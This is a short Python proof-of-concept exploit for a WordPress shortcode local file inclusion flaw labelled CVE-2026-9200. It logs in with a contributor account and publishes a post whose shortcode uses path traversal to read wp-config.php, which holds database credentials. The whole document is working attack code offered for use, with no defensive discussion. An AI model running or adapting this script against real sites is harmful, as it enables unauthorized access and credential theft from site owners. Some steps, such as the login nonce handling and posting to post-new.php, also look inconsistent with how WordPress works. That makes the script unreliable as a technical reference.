CVE-2026-9200

# CVE-2026-9200 PoC - WordPress Query Shortcode LFI # Requires contributor+ level WordPress account import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_csrf_token(session, url): """Fetch CSRF token from login page""" response = session.get(f"{url}/wp-login.php") soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': '_wpnonce'}) return token['value'] if token else None def login_wordpress(session, username, password): """Authenticate to WordPress""" login_url = f"{TARGET_URL}/wp-login.php" csrf_token = get_csrf_token(session, TARGET_URL) payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', '_wpnonce': csrf_token, 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=payload) return 'wordpress_logged_in' in session.cookies.get_dict() def exploit_lfi(session): """Exploit LFI via shortcode to read wp-config.php""" post_url = f"{TARGET_URL}/wp-admin/post-new.php" # Get CSRF token for post creation response = session.get(post_url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': '_wpnonce'})['value'] # Malicious shortcode to include wp-config.php malicious_content = "[query-shortcode file='../../wp-config.php']" post_data = { 'post_title': 'LFI Exploit Test', 'content': malicious_content, '_wpnonce': csrf_token, 'publish': 'Publish' } response = session.post(post_url, data=post_data) return response.status_code == 200 def main(): session = requests.Session() if login_wordpress(session, USERNAME, PASSWORD): print("[+] Successfully authenticated") if exploit_lfi(session): print("[+] Malicious post created, LFI triggered") print("[+] Check the published post to view wp-config.php contents") else: print("[-] Authentication failed") if __name__ == "__main__": main()

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